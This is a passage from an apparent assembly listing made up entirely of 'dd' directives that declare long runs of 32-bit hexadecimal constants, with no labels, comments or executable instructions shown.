12337D52h dd 45976B00h, 3DC46E70h, 0EC2700A9h, 0E2F60C81h, 9092A10Bh dd 1E41BA00h, 0BDF03D45h, 0B8170E7Fh, 0A3E9EE26h, 0F23C0C00h dd 0CD014DF7h, 701821DEh, 9C20D7F4h, 316E016Bh, 0FCDC0617h dd 0F3302057h, 6CB74CC0h, 18015E23h, 0F8A87948h, 383DCC0Ch dd 783AB051h, 0F4CB718h, 0BF57C889h, 51A7E7C7h, 22A61137h dd 0F09F30B4h, 1D9ABFDCh, 4058070Bh, 494F0938h, 0ED037182h dd 0CCFD3D33h, 3908F85Dh, 0B0063C63h, 1E28BC30h, 0A3E65CF5h dd 4CD0553Fh, 73E70070h, 0C71D45DFh, 9EC900D5h, 42EBD316h dd 14006B08h, 8528FEE0h, 0EC094162h, 5BC90078h, 0D2E2F061h dd 3903D4AFh, 1A5C726Eh, 0F88A906Dh, 100648BCh, 0E60EA203h dd 51D7EBFCh, 0C0788709h, 0C6005CE5h, 0E0FE6A59h, 0E2B5E9Dh dd 0B7709F19h, 5B0DF823h, 0EF122013h, 35D12407h, 0DAE0A03Eh dd 13E1BC79h, 0C7DF4Bh, 0FB890748h, 9C00E3A5h, 0BE193F2Eh dd 3134AC4h, 0E6BD18F2h, 45F83280h, 1007915h, 0DA8CA356h dd 0B69AE2Fh, 7ED502B4h, 71BDE487h, 0DCF735BCh, 0C5008BE9h dd 0E7640AFAh, 0E1A355h, 3C2E2D9Fh, 0F8F5C20h, 0A287FF09h dd 56CC01AEh, 0C5D0EC59h, 84670C1Fh, 4D7844F4h, 89BB3F00h dd 5EFDE98Bh, 0DBF703A7h, 1571DA31h, 0EDA2C2A0h, 0B18C6307h dd 0FF22587Dh, 0E28C60B7h, 8EE701A0h, 0C845F4EAh, 475030E9h dd 1FFB2B00h, 0E59A022Eh, 0AEB800A9h, 0CCE8585Dh, 2579C0F1h dd 2646D75Ch, 38BC0Eh, 4AF32ED4h, 0B03CA1h, 0DE40EFD0h dd 7764780h, 7BCAB300h, 2DB27259h, 66F87Dh, 303D96D3h dd 0CBD1B940h, 0DEB55700h, 8AC2035Fh, 0B4B305A8h, 7FBC77h dd 9FA192A8h, 0A4481BDEh, 0BEAA0054h, 5121DAFBh, 1AB81CD2h dd 1388668Ch, 0AFC00089h dd 0F401E720h, 0B4407F14h, 1C842EDh, 86F065B3h, 0EC490DF3h dd 12E12CDCh, 0C5D71Ah, 0BE1D8FE3h, 0D616A8EBh, 0B8024814h dd 0C4FA213Dh, 0BA3E0048h, 4AD564E9h, 6B006D77h, 94562DA9h dd 1224EFECh, 0C8039h, 0D0331168h, 6400A5C2h, 0CF061F6Dh dd 79B7B6C1h, 4C9A07A1h, 0B09DE15Ah, 0DA44E854h, 0C5631E0Ch dd 30C72803h, 72484346h, 8D07E9DDh, 0A5831F65h, 29E4F820h dd 50F500FDh, 92EDEC79h, 0D7008576h, 0E09E1AE9h, 331F63h dd 0D824EB78h, 1017B279h, 6C90E5ECh, 0EFDDFB07h, 86A07069h dd 1324D54h, 0C626FDDFh, 6F5B22ECh, 3A44B0h, 0C99B4EA1h dd 0BC95E76Ch, 0D3D9A00h, 85516197h, 0CF69026Fh, 5A634A7Fh dd 0A7906C43h, 53033FD6h, 26377972h, 1C69A85Dh, 0EE931F7Fh dd 7A87C2B9h, 7860F294h, 0C6003BC0h, 97465333h, 7EC209h dd 7AF62A66h, 22B43477h, 0A45AEC00h, 334FDEABh, 545F1DACh dd 0CD30C13Bh, 30FFE8AAh, 69000690h, 6A252FCCh, 284E1410h dd 1A0CF85h, 46376896h, 0E85B6929h, 303E24ACh, 7117801Ch dd 3E5FCA81h, 0EC22C23h, 0C19B1CC4h, 0C48E1ACFh, 0FCB4313Ch dd 0B3006639h, 99E0350Ch, 74EBA7C3h, 0EFBD58C5h, 32FF6003h dd 80C4D529h, 560DFAB0h, 7B722F00h, 0FDFBBAA0h, 92A43085h dd 0D25B8890h, 280AF8A8h, 0CCC9B003h, 0B88BA369h, 0DDF9BEh dd 551BCF2Ah, 62E7827Ch, 206AE430h, 0FD7E83Ah, 0DE8EF8F9h dd 38A0F00Eh, 0DCC99D5Eh, 19001C79h, 753C55B5h, 0C06FA1B0h dd 35E176C0h, 0E5007B25h, 0D47C1D88h, 5C1AB3DAh, 0DD406702h dd 1B960462h, 85C89DE8h, 531400C6h, 0CD2C6119h, 5D7DAD00h dd 0F373BCCBh, 429E227h, 5297C1C3h, 75588004h, 9A00DCF8h dd 0E977EF91h, 11424D9h, 13344112h, 353590DDh, 40A96178h dd 1FD28F8Ch, 0E6DA44C0h, 0A3C430h, 0B9B5CE8h, 7028E4B2h dd 6D0E4700h, 2A5B3765h, 0B54F00D4h, 0B2019CAEh, 230F4316h dd 0E01E8110h, 6D155088h, 3FE40036h, 9EBE2BB9h, 990D1642h dd 0A4A6E994h, 2C544E8h, 0CD283C84h, 7841DF47h, 30F0C960h dd 0D009B6Eh, 914A290Ah, 39D471E7h, 3300205Fh, 5D0EB0B5h dd 6C00A92Bh, 0AA8F3048h, 211FF81h, 24163ECBh, 11E03FD4h dd 0EE009138h, 0C1D315A4h, 2CE6702Fh, 8024BDA3h, 7544098Fh dd 0BE00BC0Bh, 10BFF286h, 1964E15h, 8FCB1A0Fh, 0E0BBFD44h dd 6A022E41h, 0B26C0784h, 0B4AF80E5h, 0FE7C1F90h, 47E17A9h dd 0BBAC01CBh, 0D0BEE6D4h, 0BF03B8F6h, 2E6CC390h, 9A5A0358h dd 0B3D14279h, 0EDE0FFC0h, 8088E738h, 0D9F1DEA1h, 0CF483Bh dd 0AA748444h, 903A152Bh, 0A1F33Fh, 9B778816h, 1DE25B8Bh dd 0C0510F99h, 0F4920AD6h, 0C17C3273h, 0B9EC851Bh, 0ED900080h dd 36C7A95Bh, 0B004423h, 0F4C2971h, 3309FAh, 42989D4Bh dd 0D59B2EF3h, 1BC20200h, 94393207h, 920C7CA7h, 3F271E4h dd 0C4F6D79Bh, 0EFA08EC9h, 4F076741h, 86407129h, 99EB931h dd 0A596E8h, 66106832h, 140D33CCh, 43593F00h, 0F008AD77h dd 8BC4009Dh, 992AC35Eh, 6850D5DDh, 207B14ACh, 2A77100h dd 8696F2E1h, 365D00FFh, 0ACEA7622h, 4DF5FB7Bh, 75D7E0FCh dd 0D6FC952Dh, 504400DEh, 0B90FF4F6h, 2D7FC800h, 0F33F453Eh dd 833D0768h, 0C98EEA96h, 120E5C44h, 2073A52Dh, 0D89D371Fh dd 7881005Ah, 0E26772FEh, 22FECA1Eh, 7E961B0Fh, 33EEC02Fh dd 5C3215Dh, 32CEAE29h, 6DBD00D2h, 0A43B05E0h, 0D0EB8B0Fh dd 603EAE54h, 46E84D2Dh, 76B9304Fh, 1E6BD421h, 9265C00h dd 927D6C11h, 8829006Fh, 7E5F2DEh, 381F2A64h, 3A80E447h dd 0C779A131h, 0C2BA00F3h, 93D192B4h, 0C90B589Ch, 875D27EFh dd 0AEE13BE0h, 2ED055EEh, 4D0A3B75h, 0C0202181h, 0F0C9AAF2h dd 57FEA5E2h, 8218D91Eh, 0E0B98Bh, 0EAFB9251h, 80FD30C7h dd 0A26493D0h, 0F02C9900h, 7BCCE99Ah, 246E006Fh, 7F7340DBh dd 0B1002163h, 29CF0B16h, 1DBEABE3h, 455A7030h, 9B41D3Bh dd 6740E2h, 0C0C6B79h, 0BC7F639h, 0FEA5BBh, 9BC51644h dd 79C400A0h, 332429CCh, 6EA3141h, 26EFD02h, 0C0F5A8B5h dd 197BF14h, 0B03907C0h, 0D8788562h, 8A09DECEh, 8419C167h dd 0D8C098ACh, 7155974Eh, 15A09FDh, 0F4406058h, 8CCDFCh dd 531303BCh, 87BEE9F7h, 74A40405h, 0C000A637h, 0BF73DE79h dd 80580124h, 359E51F2h, 0B4ABCB69h, 290E5EFBh, 81AAF437h dd 0A909608Ch, 526B9C85h, 0DDA71E33h, 0AA9500ADh, 0CE31B411h dd 0CAEFF726h, 53510203h, 616000A0h, 0CAFB67EEh, 0B900B59Eh dd 0AFC8CC26h, 0B0FA5E5Fh, 8E2E0300h, 0D8C13B52h, 6ED220A8h dd 0D7B6CE00h, 8624BC17h, 4E990059h, 0B8C2E72Dh, 62099F1Fh dd 800FB56Dh, 2F423C14h, 0E9F81C20h, 6C4CC057h, 4DE62D6Fh dd 857EFD00h, 5B77E5D3h, 0DA0A07DDh, 43435E76h, 6101FF33h dd 9A7D2949h, 1080FDD0h, 0B467557Eh, 6C80FCA2h, 32F8030Ah dd 0DCDDF51Eh, 0C8889683h, 7603CDD5h, 8B48EC54h, 36BAB0C6h dd 0C2C718D0h, 0ABCF08Ah, 495E7030h, 3048B7C0h, 6A1198BEh dd 31003908h, 0AAF98E8Bh, 6D83B4h, 442D4954h, 55E3B641h dd 85BD9700h, 6A0FA1CAh, 0F25600ADh, 8963A4B2h, 1573BC94h dd 0A5B7D900h, 3E021275h, 439F4C77h, 102DDE18h, 4F0EE7F7h dd 0C08D59A2h, 6DE4BB47h, 11B41F37h, 4CFF0019h, 7D39CDD7h dd 0BE863F8h, 2F5A38h, 0B59DEC78h, 1B3FB392h, 0E81B3861h dd 62D137B8h, 0B46DAC00h, 12944AADh, 38CA0005h, 0FA071A72h dd 0D4A09C08h, 4E0CFE26h, 105CEF7Dh, 6EBE01FCh, 761A198Dh dd 0C0A5FF9Ah, 39F4756Ah, 0DD85D40Ah, 4F0190E1h, 84730627h dd 0A8408FEDh, 30BD7F6h, 3B18A0Eh, 0A1030454h, 0BAE8B079h dd 0A8EBF083h, 1E7E00C9h, 2EA57120h, 8A02CEEDh, 0F00ADE61h dd 2F74405Ch, 5D9C04E4h, 0C38B18A9h, 420044E7h, 5F68C40Eh dd 0BF2FEEh, 0A1860869h, 325CF72Dh, 1905F000h, 3C7E3582h dd 785FEADBh, 4E8F0EE0h, 4AE06D84h, 560B448h, 83924201h dd 0F1EF88DEh, 0BD98F8h, 0DC74C523h, 8496E178h, 52C63Ch dd 0F7A0312Fh, 0C244D7h, 5631AC4h, 175C069Ah, 7882070Ah dd 8300D8DEh, 592E8AF7h, 64251434h, 0B526F027h, 0B09F0361h dd 5F887501h, 240098CAh, 0A16CFD2Ah, 1F0682D4h, 98AC0B08h dd 0BE0D10A2h, 4BE3DB03h, 79225DA6h, 6E993080h, 13652D68h dd 2C0E0A7Ch, 62852976h, 8007D264h, 0BDA1C88h, 0AE4D00E2h dd 0FDE59FE8h, 470F0972h, 80239E9Dh, 3D8AD622h, 0D0E850BFh dd 0A7763BD1h, 0CA82CC80h, 255DCE1h, 0F7749904h, 3C813D89h dd 0BACC10A8h, 70EC4844h, 8E49D983h, 0A6C6D800h, 0FC57BEC8h dd 0DA5500EBh, 3895D0ACh, 0E82E397Ah, 0FF001FC4h, 3CB3C6CCh dd 0D05450ADh, 0BAA90020h, 8B438C34h, 20B00C1Bh, 0F452570Ah dd 0A0CD4B8h, 8570F6h, 75FC726Ch, 9D2BA116h, 8D9AF71Eh dd 17EF0280h, 0CF7608h, 1650065Ah, 485FD569h, 1E82F900h dd 6484D8FEh, 26130040h, 0A0541C3Eh, 5C24DAC3h, 6D004C56h dd 0CCEC0374h, 5143D09h, 3F522200h, 0D30678A0h, 187ED77Bh dd 0F1A7AE0Fh, 1B8200Fh, 6F9825h, 6A40DC4Ah, 2C97337h dd 0D38D7F00h, 25F91539h, 0EAFF003Eh, 0E0D0C365h, 7490B972h dd 9871C900h, 0FB6457F2h, 1FC4A8E5h, 0C07903E1h, 0AA92440Ch dd 30BBF3C9h, 0BF00C8C1h, 0CA8D82C5h, 604554h, 956197E0h dd 0F8D93C55h, 6603C91h dd 428B0Ch, 0D18CDAB0h, 0FFB1525Dh, 0C4AC5A51h, 0D500C79Fh dd 9A0E1B84h, 0EAE0EF43h, 1E5F43Eh, 11346C49h, 0E02E1D06h dd 741216A2h, 7440BB07h, 0D60DE82h, 4DB900D6h, 0CF618B55h dd 0E0C6C24h, 0D0855F01h, 20EB1C15h, 52AFC7C3h, 0D78009BFh dd 762E7005h, 0E0DFE512h, 3CDA4F00h, 1AD6E9Dh, 3D07E9AEh dd 2030F3DCh, 0E10052B4h, 2F57F02Dh, 60A46DF7h, 627A1832h dd 0EB04C45Ch, 0C8742382h, 0F187A680h, 545E26A5h, 0ED2C00CCh dd 0E7FE2826h, 0BCD2AC07h, 0E0C10756h, 0C2F9B06Dh, 48D387D4h dd 0D7007165h, 0A6A86375h, 860022DEh, 0C43B0E68h, 0EB7385Ch dd 803279E3h, 0BCC145E0h, 1900AB76h, 0F033A1B1h, 0FF42AEDBh dd 0A4ADC30h, 2CFBF7BFh, 749400DCh, 0DEAA476Ch, 51B85Ch dd 90CC8A2Ah, 7D4838Fh, 0AEF51881h, 0A5AC00EAh, 43004EEFh dd 0FB363779h, 99EF856h, 0BDAFA141h, 1D6AB680h, 0F6B0D9F9h dd 0F30016F8h, 87563499h, 9BEC9Ah, 4B092A67h, 0BF1BA607h dd 0EA0D4A0h, 77983800h, 1AA53B43h, 0CA62046Eh, 8020F399h dd 68C67E74h, 1D00E890h, 3D558886h, 61D6D1h, 0FFA115F2h dd 1A21870Dh, 9B7C3E1Dh, 7B9AB040h, 76CE05h, 0C12D9DCBh dd 0D1C822A2h, 0BC2B5A26h, 31A31806h, 0D55F1C29h, 24014E48h dd 56193C01h, 0AA43DC5Ch, 80966000h, 69711DACh, 0A75F006Ch dd 7626C93Fh, 21007C08h, 0D934251Bh, 9C0D52h, 0EA73292Bh dd 0F14B56B7h, 0D7DDAAA0h, 79F0477Fh, 1AA9A200h, 91B6D16Ah dd 7BB4004Eh, 0BDB86299h, 0CB17DE52h, 0CC003BE3h, 9F321F42h dd 5AC80093h, 56B57D83h, 6200ED61h, 0F34AD16Bh, 78D6D8h dd 3F6E288Eh, 0A8F8F9E9h, 902B4716h, 0CCD8D440h, 0B9C89Dh dd 6A395BAh, 0A2D1C246h, 0A500A8B8h, 51664EBh, 76B2D3Fh dd 4D144A82h, 0A3EAB05Ch, 7F0FF2BAh, 40AF1586h, 0C6301019h dd 0D3F1007Ah, 79C85120h, 0A403B5EEh, 382F3C1Ch, 687828EAh dd 395B07E4h, 603BC99Fh, 0FEB80818h, 3E99B8F1h, 3F5C5D20h dd 91BF0EBEh, 0A5063DB0h, 0F018B9D2h, 3AF8A8h, 11479D2Fh dd 0AED47739h, 0D0BC9C00h, 5C8E58B6h, 873800E6h, 779286E8h dd 1D6F30FBh, 985B0758h, 0C0B8880Ch, 0FB723750h, 21C10675h dd 7ACB983Bh, 0F6E1C34h, 95A8C367h, 0B89790B8h, 0A58F850h dd 715BDE1Ch, 5CAE14h, 6A2F5090h, 72DCC86h, 3D63E3D9h dd 0FDEA802Ch, 8C07CDC2h, 0BC382689h, 0D4C0AAA7h, 0FADDD231h dd 7E2E0EDAh, 0FA0ED79h, 0C8698A10h, 4D585E00h, 2A575534h dd 0D1BD0011h, 0B3CF513Ch, 76048A15h, 0FCEFD70h, 1345BAC0h dd 900304BEh, 0C0A9A540h, 1E10BC0h, 0AF60CC1Dh, 0A7330287h dd 5D7D600Fh, 0E045FEh, 44654CC7h, 93BDF2EFh, 5A78AD00h dd 6F69384Ah, 3C498B9h, 58A233D1h, 40857B40h, 10DC9F90h dd 0B93F345Dh, 0D6007B0Ah, 24608674h, 93E054h, 0EF6E8D36h dd 6267F87Dh, 17A5370Dh, 77214178h, 1B4D9C10h, 8E3E07ADh dd 90F845F0h, 7D5F131Eh, 0A6D9BF00h, 8851A13Bh, 0BCF250B2h dd 0C85E0049h, 9A55147Ch, 3B1D7EACh, 4A40C942h, 0FF62EE99h dd 24E73E91h, 0BD2E7A01h, 0B88BE06Ah, 0E81D0040h, 0EA89F9EFh dd 974602C1h, 25AD10B0h, 5060488Eh, 4CFD7A3h, 0F6AB700h dd 0D2A0EB07h, 7AB8019Fh, 0BA1E5DE0h, 0D3F131FFh, 0EED1E2D0h dd 90BF2E30h, 7C413B62h, 9CAD0CC0h, 85593625h, 8EE8A00h dd 671E02D6h, 0DB3B00A3h, 0F7E9BA66h, 0F5007FEDh, 9C81EEEBh dd 15866CBFh, 98D31CA5h, 0B9B37C08h, 0CA0CA420h, 11A29011h dd 1CF100B1h, 72888BFh, 360315D3h, 0C7AA0A56h, 78B0909Eh dd 0B5863D8Dh, 206FB900h, 85D5B237h, 80E6BA38h, 3AD98E8Ah dd 726275h, 91411FE0h, 9CC9828Bh, 0A35C5704h, 4507C55h dd 0E2260CBAh, 0F641071h, 3CDDC1DAh, 6A7509E0h, 1600F1EBh dd 0C33EEF50h, 586C7h, 9C33A379h, 0EA0191FAh, 58694200h dd 7263A5D3h, 3B8C0099h, 12C1220Bh, 26010C74h, 572A8AF7h dd 0E0CC49D7h, 32AB1659h, 0E03EFEFh, 0D8FB6E21h, 0E4974Fh dd 0CBEBE213h, 14284EAh, 475CE900h, 539321BAh, 6BF218h dd 582D3E0h, 0D7FAFE96h, 6D0099F6h, 3DAA489Bh, 0C19F20h dd 75BE335Eh, 0DD4E5032h, 874C5B00h, 5DC98BB8h, 7A0F0014h dd 0FBD9FDD1h, 0A400A727h, 0E407886Bh, 0F716F58h, 0EB63B41Fh dd 8A6E003Fh, 0B353F18Bh, 3795AE00h, 0B9FFD750h, 12364838h dd 0BCF6AA0Eh, 0D03B4D06h, 0DEDD0F00h, 0CCD4BE17h, 0E2987Bh dd 9B56EAFDh, 5C412C92h, 8004C73Bh, 8AB993E3h, 0C04490h dd 748268Ch, 91957E74h, 2565C0Ch, 32F093h, 0D42FAD73h dd 7EB941A6h, 0D9E41754h, 340D1430h, 0AC1F45h, 0D4783AFCh dd 14C2693h, 400E6Fh, 79769B1Eh, 54FB1D38h, 0F863405Ch dd 4853EF1Fh, 0C49DF101h, 842549C2h, 1024C7D9h, 14D77F3Bh dd 0DC5AE156h, 8D3F0A00h, 0F72280Ch, 8A44E200h, 0AA22A47Ch dd 679F1F1Fh, 593B3F17h, 8F859681h, 0F0A3714Dh, 82001B08h dd 8830B4B9h, 746CBC1h, 0DFD3A4E9h, 5704F00Ah, 1112E166h dd 220FC980h, 397FE0ADh, 6D05E9h, 0FC0546Ch, 79121E6Ah dd 290027FAh, 0A4CE4C10h, 322C18h, 0D14D7321h, 1D349E38h dd 7201E900h, 5444173Ch, 5E7D014Bh, 0C98A55CDh, 0F085712Bh dd 9603ACB5h, 7662E36Ah, 95E8E02Ch, 286773BAh, 5484CE0Eh dd 294C38h, 7555BCAAh, 0B8362A6Bh, 0ED006C7Dh, 0E7FEE94Ah dd 1D2F0A17h, 80B34681h, 0F04298EBh, 840A7CCBh, 0A8D59571h dd 8137A840h, 8A1D01F9h, 7451042Eh, 0EE57F176h, 0CAB3D040h dd 154BBD00h, 342E02A5h, 40770027h, 95EE3F59h, 1701BF20h dd 0B852DDAAh, 0EC40FC3Bh, 7E6E316Ah, 2B730625h, 0F029B7FDh dd 13610200h, 0C02C4838h, 0CDD70028h, 0B0ECD43Dh, 17B821B1h dd 56265400h, 468B8840h, 69890B5h, 0E5C37A6Ah, 1500115Eh dd 53230468h, 3C1A8E90h, 18C88408h, 4BD76C80h, 2500E951h dd 99DDF135h, 0FE946Eh, 7F66A9FCh, 227249DBh, 713A3B00h dd 82EC8345h, 1CD4E913h, 6A69384Ah, 0B78FAF01h, 0ED4C7E98h dd 9FC4C0AEh, 0FC485800h, 52412179h, 7933F2D1h, 0EBAE0FF2h dd 0BAE0C825h, 3E9BFDF3h, 0EADD9A00h, 4A4F1B2Ch, 10A66085h dd 17C00137h, 3C2BF600h, 2E697FA2h, 0A71431B4h, 0C513C920h dd 0A65AF4FAh, 3378AF0Ch, 0A170C4h, 359BFF1Dh, 5326ACA5h dd 2895F00h, 50FCDE03h, 72E0274h, 414B9A9Ch, 807DA484h dd 5BDF21D0h, 80661C3Eh, 743FF62Ah, 8E4B14h, 3E566AEAh dd 733BEF27h, 16680463h, 0F1F32Ah, 1E89D928h, 5C150292h dd 375A48h, 9413C6D4h, 0C0653F8h, 9A896DEh, 73036C59h dd 2EFD3930h, 7B51001Dh, 2DA1C527h, 2F0CBFEBh, 61FB2635h dd 0FC8400DEh, 0D85D429h, 7492FD3Ch, 5FFB6C13h, 99BD3040h dd 0A0D3EB81h, 128590h, 634F3B1h, 76CBBB3h, 498AF000h dd 7B98D05Dh, 8B0F3C36h, 24FBD700h, 25DCB962h, 0D219A700h dd 0A965D902h, 726730BCh, 0C758C928h, 6B3439h, 791C9436h dd 60DCD578h, 8AE2809Fh, 0C012EE3h, 0D63B7A6h, 0BFF0D21Bh dd 0FB560CEFh, 0AF9801C2h, 71F2C100h, 583D7B59h, 52F7072Eh dd 80E5ECh, 4DF109A2h, 0D536DD00h, 7D9D9197h, 0D6480042h dd 0B84C60Eh, 0E4003DC9h, 49F933A8h, 189DCC3Bh, 6061EE86h dd 0AC791A18h, 10663A31h, 31C00DF8h, 91430005h, 0F076A56Dh dd 0B500582Eh, 0B19A3C5Eh dd 3E5BBBh, 100B776Fh, 24480EE6h, 5A9FEF2Ch, 75969100h dd 0E88B443Ch, 1D01F2Bh, 9E5C4045h, 7854FE8Ch, 3B763Dh dd 3A885285h, 0AB3464h, 0A13D4C56h, 0E08C1D1h, 0B2860600h dd 8E3C1C5Eh, 0A261007Fh, 32E0A929h, 9700B8BDh, 6A570874h dd 0E2909Dh, 9AAFB525h, 2C681A30h, 3D82B000h, 4CD3364Ah dd 2F6200BEh, 763B81A6h, 0EE0060AEh, 0CCA3F605h, 0C70BCEh dd 0FC80ECE2h, 44C88110h, 0A435C32Eh, 45CC2A04h, 6F4790D1h dd 3B26F7DCh, 840079F6h, 0FC448A65h, 320F24C5h, 0F2522Fh dd 0A745862Eh, 8260007Eh, 443EE0Dh, 817266Ah, 54408F47h dd 0D6923ECCh, 44524C4Ch, 92FA000h, 2B0A83C6h, 87182400h dd 627BE9B0h, 6FCF075Ah, 51B3F7BDh, 0FC929E1Eh, 18053F16h dd 0AE4AF0EAh, 0ACB800BBh, 9D973704h, 77E45300h, 0C7597EC2h dd 62500DEh, 0D4F3983Ch, 2C064065h, 70F52E68h, 86892E91h dd 0CA6B80A0h, 526858F8h, 23E821E8h, 0E5B11918h, 493B0121h dd 7703A498h, 70ADE688h, 0E8C408Fh, 5600134Eh, 99EBC8D9h dd 3F122E7h, 0C7756131h, 0E9E0D897h, 950B934Eh, 6A471ECh dd 9058695Ch, 0FDF80A92h, 3065E4h, 47B62144h, 0BEE49050h dd 9D839A1Eh, 119F3500h, 0F567C5h, 7BBD4608h, 0FD4465B5h dd 0DCCA2426h, 90009EA4h, 71D8459Fh, 7C6A9089h, 0DC0600C5h dd 8C403A81h, 0C400EA7Eh, 71217C35h, 0E4E3C303h, 0E29F3DA7h dd 0B97FFC00h, 5741E1AEh, 891B2F00h, 6F016BD8h, 71AF00B7h dd 2DBC1078h, 0B100E113h, 2F865EAEh, 506723h, 3B51943h dd 0BCDD90A4h, 0DEAC9400h, 0FBEECB99h, 7DD80016h, 35200E18h dd 2100BA2Eh, 7A5AC30h, 0F3412Fh, 7DE4FBB1h, 0B6CFC64Dh dd 793B48h, 0CE3A7079h, 22A953h, 4A49BEEAh, 0ED269FCDh dd 0E4839CA8h, 5389F00Fh, 386A4001h, 79EEB51Eh, 21FE07Bh dd 59A38B98h, 4A6519h, 0F0209A62h, 898FD373h, 81C4253Fh dd 42AED78Ch, 0C821C31Ah, 579C618Eh, 55470102h, 0BD19ECC0h dd 0DA80E802h, 0A3CFC350h, 12EE21C0h, 0BA4531h, 0AE62C160h dd 27000FE2h, 0A7728DDAh, 0A9DE90h, 2D88F25Fh, 67CA6E58h dd 91EDD530h, 78111F0h, 8822C4B7h, 65904052h, 267D07E4h dd 0ACBA6013h, 0E5990818h, 0E88F5A91h, 1FB807EBh, 18509DCFh dd 39542BBCh, 471848F2h, 0E70A999Bh, 0DC011978h, 584B246Ah dd 7980EBD5h, 65BA8C53h, 71000D4Eh, 1F9EBB70h, 31AD69CEh dd 64716B90h, 28A9D8FEh, 8504972h, 97004DC5h, 82450AD2h dd 62F028Fh, 3FB32BDEh, 920079EBh, 89E987DBh, 1FE5A5D2h dd 9EEC70h, 0BE5394A6h, 44986C59h, 0F1ED927Eh, 0B965E09Fh dd 0A0409E60h, 0BDF8AE1h, 0C818A24Bh, 0DB221A80h, 0F03E25AFh dd 0A5280027h, 0B9C34FF5h, 62D93AF1h, 30E5779Dh, 1FE00430h dd 687D2E79h, 0BE786F03h, 0E8F75414h, 0F517A94h, 0D3E93392h dd 90B57EE0h, 0AAE8430Eh, 0C6AD3600h, 5A9A9F64h, 0CAF603FEh dd 14D8E3F9h, 0F162880Ch, 0E1808D0h, 7BB75F8Dh, 0FFE3EC40h dd 5006EEF9h, 9A9B3907h, 32760F40h, 35E4FE58h, 7593401Bh dd 0EFF26E22h, 803F4980h, 392F6B1Ch, 0C61D3600h, 4DBC88D5h dd 785F0C4Eh, 89D9E677h, 3B112803h, 0B8B34AD3h, 36352ACh dd 84C59460h, 7EF84538h, 0C3008709h, 5499F57Ah, 0E01C55h dd 77C2E4E3h, 6D381863h, 0D050D861h, 998E0A54h, 0CF40F543h dd 0E97388E0h, 0D333B200h, 0DB8235C2h, 6EFB1DE3h, 0D6270221h dd 4B53F42h, 461C5414h, 0AAC3BA04h, 10005DF4h, 0DDB23048h dd 168A536Eh, 44D1DCh, 9EA78BB5h, 0CD011F0Dh, 0E0A191D5h dd 7CCFE8C0h, 0F0150049h, 0A579FFDBh, 0E3F8DA36h, 0C9664100h dd 4F9555B8h, 0D84E00D6h, 0A2DF7D17h, 5E6FC0CCh, 8845A380h dd 4CC48854h, 3EB33EA9h, 2ED10F7Bh, 1D43EC1Eh, 207C2C58h dd 0AD3A030Ah, 3E782071h, 62188C38h, 0BEA9C226h, 5ECF008Fh dd 0E1BA804Ch, 8600584Fh, 3961772h, 0A83D636Bh, 185F078Ch dd 11345A6Ch, 45017E14h, 0AF7DE3A6h, 25E4B396h, 0CE350F91h dd 0EC06C242h, 6F2A905Ch, 7070AC6Eh, 2A20F300h, 366EFF2h dd 579D13DBh, 0A65E007Fh, 0E7B14F8Eh, 98E3A03Ah, 0FD39686Fh dd 7FEA1Ch, 13D949Dh, 0E65E37F3h, 0BDD43000h, 0DDCAC107h dd 0C2130AD2h, 9EE4D0A7h, 0D467405Ah, 9CE759EBh, 0DD916667h dd 7DBEBF00h, 0E8100795h, 0C026A67Ah, 0BBCDBC86h, 1541CC60h dd 0F11A2Ch, 8749A33Dh, 11678AF0h, 0DA37C902h, 64DDC0E1h dd 8D380004h, 0DC56AEEFh, 321836BBh, 4F62BCC1h, 0CF2430F6h dd 7F70B529h, 3C4A9400h, 879918FDh, 0BC954E59h, 0F0796159h dd 318FE421h, 407D88BDh, 45441540h, 0ECA3D39Ch, 5DCBE810h dd 94546F3Ch, 0D56E0F7Ah, 0E3C03464h, 0BD3813D0h, 0CE454C07h dd 6360CA8Dh, 0F25087h, 19C0FA2Bh, 4A8A15A6h, 5438F014h dd 28420A24h, 5F80F457h, 3125F15Dh, 96DF0E67h, 6B80D9CAh dd 0A54BCC66h, 60ECB13Dh, 0AB3413E8h, 4EE80A1Dh, 43B89D4Dh dd 35B18239h, 93F5ECDCh, 0EDCC5F1Fh, 0CAEA2306h, 902A5298h dd 6E646A00h, 3F96F2A7h, 0A0BD9C09h, 6D0C215Dh, 4102950Fh dd 0F8CFD020h, 2BB80084h, 53F2D5C9h, 5F0A4C20h, 0A8C29DF0h dd 2A1AF598h, 0D2E03Eh, 2CCEA0AEh, 0AFC9FB5h, 68E190A0h dd 0AE144388h, 0F5F208F4h, 1803124h, 36B20B86h, 0D7471CB4h dd 83B0C302h, 19E05765h, 37E24598h, 0EF151E00h, 0BB2FA9A2h dd 34089031h, 30C0C52Ch, 0ED9DF5D8h, 0E47B9E2Ch, 0C120F020h dd 4897484Ah, 79E52118h, 0A638B2FCh, 6F230DB5h, 3BE8416Ch dd 0E385034Ah, 0C2408151h, 0DB3AB9C0h, 480C3500h, 0D082F345h dd 0F9BBFACAh, 0AF61824h, 0C19D1DAEh, 0B2F48090h, 0D5E4BBACh dd 8F207400h, 9B240E50h, 7E400F45h, 9D0A54Ch, 204F2BA9h dd 981FCF0Ch, 0AA170096h, 0EE5D4756h, 57192CBEh, 3AA1594Dh dd 905E7C48h, 989276C8h, 4D261888h, 0CDA22969h, 25F9CE14h dd 9D810078h, 8C3A8AB5h, 3DBD0178h, 2834F764h, 5E818722h dd 19D0EF6Eh, 1C77D7D0h, 7EF6EC56h, 8E379600h, 4BA23806h dd 0C783B100h, 3634FDDh, 8ECA464h, 0CEC2C0F0h, 54B4BEBAh dd 4B48C190h, 724780ECh, 3098BC9Fh, 21213D9Dh, 867AD879h dd 4EAB900h, 0BB7A9C3Ah, 7DE9050Bh, 7222FEECh, 39276BF8h dd 0A2209DC0h, 6C7E2Fh, 0CAD5D7F8h, 4CB8DB0Fh, 0B4793E28h dd 586418A0h, 6C67C600h, 26E75E5Dh, 0A3FCA440h, 2FA10777h dd 40F13068h, 0D01C755h, 0DCC0E50Ah, 0B80E6CCAh, 0F60190CDh dd 64C961B9h, 69406408h, 3C9A2BECh, 19C20700h, 0BE5B1493h dd 12FCAC43h, 23B1CD9Eh, 338BC120h, 3828611Dh, 73D90020h dd 3C7B788Dh, 1A00D0CBh, 1CB0AB5Dh, 0FC02C249h, 7C9168h dd 0C6E75C25h, 2E0414AFh, 3C87F0D1h, 0C5BEC203h, 0CA6F6918h dd 955EC31h, 4C699D0Eh, 0DFC10498h, 974CD4A4h, 7891E0h dd 0DBFBE122h, 48AF91BBh, 9F218815h, 1425B816h, 59FB0C70h dd 13A179A5h, 723B3CA9h, 0CC20CE54h, 1C6967D8h, 